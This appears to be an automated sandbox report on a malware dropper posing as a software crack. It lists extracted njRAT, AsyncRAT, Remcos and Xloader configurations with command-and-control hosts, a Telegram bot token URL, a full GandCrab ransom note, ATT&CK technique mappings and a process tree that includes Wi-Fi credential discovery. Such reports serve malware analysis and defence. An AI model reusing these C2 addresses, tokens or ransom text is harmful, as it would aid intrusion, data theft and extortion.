asyncrat | 67c12eda1cc8358e06ef29eabf1542bf68db9da45df65c52d0ac03246bf75e03

Resubmissions

09-09-2024 23:39

240909-3nkmdswdqm 10

09-09-2024 23:31

09-09-2024 23:11

09-09-2024 22:25

09-09-2024 22:07

09-09-2024 21:53

09-09-2024 21:44

Analysis

max time kernel
146s
max time network
158s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
09-09-2024 22:07

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

クラック.exe
Size

17.8MB
MD5

61bcb94052e57f07e8c662a80d8c29c1
SHA1

db9d2e9e37eddedc1722727e8ce5a0a242a9ff10
SHA256

3b0cfdd500288507ec287e0e2f33d7acb7a2bcad1537fcfb29a47a4fa7cc23a6
SHA512

7f9f9c2c6cd5dd49baf6791808e5a31c9e4726d27f87aaad8e2df75ab2a0dbf20956d0bab8761a9e742d1fa85052f9f7f0ae8e6cf269a0761053786e547935a1
SSDEEP

49152:U6m1Vv6+nTCnjhT5iD1hTIUGzVnDk7Q3xCDza91PU3i/hv/kklWHvv7vTRZOp6/u:Um

Malware Config

Extracted

Family

njrat

Version

im523

Botnet

puked

147.185.221.20:47570

Mutex

20006afb0ec33f2e48c8c1f17d4d3382

Attributes

reg_key
20006afb0ec33f2e48c8c1f17d4d3382
splitter
|'|'|

Extracted

Family

asyncrat

Botnet

Default

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

https://api.telegram.org/bot7293375371:AAFwIvNWcuknS3y3mtsx4yNSSTkj8NCF_ko/sendMessage?chat_id=5795480469

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

njrat

Version

0.7d

Botnet

kosomk 555

dovelabobzgnan.ddns.net:5552

Mutex

a8c0d4cf5cfc2cc1149b5e071c2ab5df

Attributes

reg_key
a8c0d4cf5cfc2cc1149b5e071c2ab5df
splitter
|'|'|

Extracted

Family

njrat

Version

0.7d

Botnet

HacKed

192.168.1.42:5552

Mutex

bf7b1fe7a7644171a9985ea45221c25c

Attributes

reg_key
bf7b1fe7a7644171a9985ea45221c25c
splitter
|'|'|

Extracted

Family

remcos

Botnet

AUGUST CRYPTER TOOLZ GRACE STUB

teamfavour222.ddns.net :6767

odogwuvisual123.duckdns.org:6767

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
-YFLE4M
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Extracted

Path

F:\$RECYCLE.BIN\S-1-5-21-2412658365-3084825385-3340777666-1000\CAEFINVQL-DECRYPT.txt

Ransom Note

---= GANDCRAB V5.0.3 =--- ***********************UNDER NO CIRCUMSTANCES DO NOT DELETE THIS FILE, UNTIL ALL YOUR DATA IS RECOVERED*********************** *****FAILING TO DO SO, WILL RESULT IN YOUR SYSTEM CORRUPTION, IF THERE WILL BE DECRYPTION ERRORS***** Attention! All your files, documents, photos, databases and other important files are encrypted and have the extension: .CAEFINVQL The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files. The server with your key is in a closed network TOR. You can get there by the following ways: ---------------------------------------------------------------------------------------- | 0. Download Tor browser - https://www.torproject.org/ | 1. Install Tor browser | 2. Open Tor Browser | 3. Open link in TOR browser: http://gandcrabmfe6mnef.onion/86bb746ee9640a64 | 4. Follow the instructions on this page ---------------------------------------------------------------------------------------- On our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. ATTENTION! IN ORDER TO PREVENT DATA DAMAGE: * DO NOT MODIFY ENCRYPTED FILES * DO NOT CHANGE DATA BELOW ---BEGIN GANDCRAB KEY--- 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 ---END GANDCRAB KEY--- ---BEGIN PC DATA--- wfKD6iudumBkmpL8IRr4U4exEVaoOXLtwDwmOrT1y1YWvOiWMx5GYaRdvZZfToFRunYP7ntWvLfSTHKHhh5qBJzzs9MC7736UkGSDDniUJJG8/LFF//kmGmoAZAGLo2j5/wd2UrxMJK+iqKhTkS3ArgAxrZOOOiXrbnhbWMkLHQnbYuWlMClYZxYU6SDxpopRo5r292AV1KIZBZV4APBuUHcKSIr2MWMI0O1MKIP2IpKLE2TS5wNmoQoAHZIP7k/TfrG1tVzlDb3jcZAB3gql9dnWN0lCD4xdg7bDNQrvH1xSi3FCw+6kfktKtizqdynr7r154JiurEmkUXB6OKi/zQ2Q+shGt9YalrWBnLtpBHQEd0boSdD4t+4P6b3Y5NyPYz32XaispQRTRkqF1PXJPcJ15EHwNAoARPLnK8+Au5ZALyfhGEwg6hrKQ3vxBFKwg70Zi7pDxFJ3vLLOOap1wEZOXQSRlWKYDmn1lvgAn90mSDf7SyGQSZnn7Ivlsuw7HIKVYbpfzf2fBccdMBnP2lNhH9XQ3DC2qZAEuDtLkioBZ9MNJGhHpcOfb/LRc8P54k7V/HuibORzJL9NXYEh8sz/ewORahtHP+ZbmbW4eJPXp1eNtQ19EJhJFLe2qhgw2mJLRMzwAtbfjn5E2ENiW4EkrJfTw== ---END PC DATA---

URLs

http://gandcrabmfe6mnef.onion/86bb746ee9640a64

Extracted

Family

xloader

Version

2.6

Campaign

eido

Decoy

revellbb.com

tempranillowine.net

viralstrategies.info

blacktxu.com

flfththirdbank.com

vaoex.com

theselfdirectedinvestor.com

vinadelmar.travel

othersidejimmythemonkey.com

jaguar-landrovercenter-graz.com

supremeosterreich.com

chatsubs.com

free99.design

serviciosmvs.com

bongmecams.xyz

malikwoodson.com

onlinegamebox.club

694624.com

yeezyzapatos.club

istanbul-hairtransplant.com

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Process spawned unexpected child process 64 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5400	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5388	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5864	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6060	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	972	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3480	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5212	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5604	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5796	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5992	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6132	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6140	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5864	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6048	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5568	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5860	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6352	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6772	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6448	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6820	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6976	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7032	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7088	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7112	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6288	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3336	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6276	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2236	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6628	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6712	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6736	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6828	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6604	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4348	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3872	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6864	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5276	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5756	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6324	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3228	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5052	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5920	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6800	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3996	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1124	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5208	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2912	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6460	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4884	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5516	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5716	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3268	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5284	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5404	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6992	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	660	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4932	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2912	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7048	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6664	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5716	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	64	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6096	3488	schtasks.exe	102
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7196	3488	schtasks.exe	102

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0002000000022f9b-39.dat	family_stormkitty
behavioral2/memory/316-54-0x00000000006E0000-0x0000000000712000-memory.dmp	family_stormkitty

Xloader
Xloader is a rebranded version of Formbook malware.
loader xloader
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x0002000000022f9b-39.dat	family_asyncrat

DCRat payload 4 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral2/memory/2796-51-0x0000000000110000-0x00000000001E6000-memory.dmp	dcrat
behavioral2/files/0x0004000000022f92-38.dat	dcrat
behavioral2/files/0x0007000000023427-89.dat	dcrat
behavioral2/memory/556-125-0x0000000000E80000-0x0000000000F56000-memory.dmp	dcrat

Xloader payload 2 IoCs

rat

resource	yara_rule
behavioral2/memory/6276-1980-0x0000000000400000-0x000000000042B000-memory.dmp	xloader
behavioral2/memory/5728-2107-0x0000000000BD0000-0x0000000000BFB000-memory.dmp	xloader

Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
7444	powershell.exe
7248	powershell.exe
5480	powershell.exe
7232	powershell.exe
2572	powershell.exe
7940	powershell.exe
7000	powershell.exe
7360	powershell.exe
440	powershell.exe
4312	powershell.exe
1104	Powershell.exe

Modifies Windows Firewall 2 TTPs 5 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
6536	netsh.exe
7136	netsh.exe
2220	netsh.exe
5392	netsh.exe
6980	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	クラック.exe

Executes dropped EXE 7 IoCs

pid	Process
2292	2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe
2796	5e710462c65fe899466e4fb7c1e33c9a.exe
316	7f1630df6b57af024a3b561bdadc208f.exe
3720	31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe
2364	34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe
1536	57ccb6f0bd910fed428761828ae93553.exe
2116	70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe

UPX packed file 9 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000700000002342b-140.dat	upx
behavioral2/memory/896-141-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral2/memory/896-492-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral2/memory/896-491-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral2/memory/896-1486-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral2/memory/896-1562-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral2/memory/896-1690-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral2/memory/896-2131-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral2/memory/896-1733-0x0000000000400000-0x000000000048A000-memory.dmp	upx

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

VMProtect packed file 1 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral2/files/0x0007000000023446-210.dat	vmprotect

System Binary Proxy Execution: Verclsid 1 TTPs 4 IoCs

Adversaries may abuse Verclsid to proxy execution of malicious code.

defense_evasion

Verclsid

T1218.012

pid	Process
5552	verclsid.exe
6632	verclsid.exe
5760	verclsid.exe
2144	verclsid.exe

Drops file in Program Files directory 8 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe	クラック.exe
File created	C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe	クラック.exe
File created	C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe	クラック.exe
File created	C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe	クラック.exe
File created	C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe	クラック.exe
File created	C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe	クラック.exe
File created	C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe	クラック.exe
File created	C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe	クラック.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Performance\sppsvc.exe	5e710462c65fe899466e4fb7c1e33c9a.exe
File created	C:\Windows\Performance\0a1fd5f707cd16	5e710462c65fe899466e4fb7c1e33c9a.exe
File created	C:\Windows\Performance\sppsvc.exe	5e710462c65fe899466e4fb7c1e33c9a.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process
5636	4340	WerFault.exe

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	クラック.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7f1630df6b57af024a3b561bdadc208f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4572	PING.EXE

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
6316	cmd.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
5720	taskkill.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4572	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6352	schtasks.exe
6772	schtasks.exe
2236	schtasks.exe
6712	schtasks.exe
4120	schtasks.exe
6048	schtasks.exe
2912	schtasks.exe
1624	schtasks.exe
5920	schtasks.exe
4932	schtasks.exe
7704	schtasks.exe
5208	schtasks.exe
7496	schtasks.exe
5212	schtasks.exe
5404	schtasks.exe
6608	schtasks.exe
6460	schtasks.exe
5276	schtasks.exe
6492	schtasks.exe
5816	schtasks.exe
6508	schtasks.exe
3872	schtasks.exe
5052	schtasks.exe
660	schtasks.exe
7436	schtasks.exe
7940	schtasks.exe
2452	schtasks.exe
6992	schtasks.exe
6276	schtasks.exe
5716	schtasks.exe
7916	schtasks.exe
7988	schtasks.exe
7196	schtasks.exe
3860	schtasks.exe
6656	schtasks.exe
6604	schtasks.exe
3268	schtasks.exe
6996	schtasks.exe
7712	schtasks.exe
7696	schtasks.exe
6656	schtasks.exe
3296	schtasks.exe
8176	schtasks.exe
7088	schtasks.exe
64	schtasks.exe
6316	schtasks.exe
8176	schtasks.exe
1080	schtasks.exe
6736	schtasks.exe
6828	schtasks.exe
5388	schtasks.exe
972	schtasks.exe
6140	schtasks.exe
5284	schtasks.exe
720	schtasks.exe
6060	schtasks.exe
5864	schtasks.exe
6288	schtasks.exe
7528	schtasks.exe
5604	schtasks.exe
7492	schtasks.exe
1420	schtasks.exe
6820	schtasks.exe
7112	schtasks.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2796	5e710462c65fe899466e4fb7c1e33c9a.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	316	7f1630df6b57af024a3b561bdadc208f.exe
Token: SeDebugPrivilege	2796	5e710462c65fe899466e4fb7c1e33c9a.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 3480 wrote to memory of 2292	3480	クラック.exe	86
PID 3480 wrote to memory of 2292	3480	クラック.exe	86
PID 3480 wrote to memory of 2292	3480	クラック.exe	86
PID 3480 wrote to memory of 2796	3480	クラック.exe	87
PID 3480 wrote to memory of 2796	3480	クラック.exe	87
PID 3480 wrote to memory of 316	3480	クラック.exe	88
PID 3480 wrote to memory of 316	3480	クラック.exe	88
PID 3480 wrote to memory of 316	3480	クラック.exe	88
PID 3480 wrote to memory of 3720	3480	クラック.exe	89
PID 3480 wrote to memory of 3720	3480	クラック.exe	89
PID 3480 wrote to memory of 3720	3480	クラック.exe	89
PID 3480 wrote to memory of 2364	3480	クラック.exe	90
PID 3480 wrote to memory of 2364	3480	クラック.exe	90
PID 3480 wrote to memory of 2364	3480	クラック.exe	90
PID 3480 wrote to memory of 1536	3480	クラック.exe	91
PID 3480 wrote to memory of 1536	3480	クラック.exe	91
PID 3480 wrote to memory of 2116	3480	クラック.exe	92
PID 3480 wrote to memory of 2116	3480	クラック.exe	92
PID 3480 wrote to memory of 2116	3480	クラック.exe	92

C:\Users\Admin\AppData\Local\Temp\クラック.exe
"C:\Users\Admin\AppData\Local\Temp\クラック.exe"
1⤵
- Checks computer location settings
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3480
- C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe
  "C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2292
- C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe
  "C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2796
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\ZekJTnkZvJ.bat"
    3⤵
    PID:8088
  - - C:\Windows\system32\w32tm.exe
      w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
      4⤵
      PID:3192
  - - C:\Program Files\Windows Photo Viewer\ja-JP\upfc.exe
      "C:\Program Files\Windows Photo Viewer\ja-JP\upfc.exe"
      4⤵
      PID:3180
- C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe
  "C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:316
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:6316
- C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe
  "C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3720
- - C:\Users\Admin\AppData\Local\Temp\server.exe
    "C:\Users\Admin\AppData\Local\Temp\server.exe"
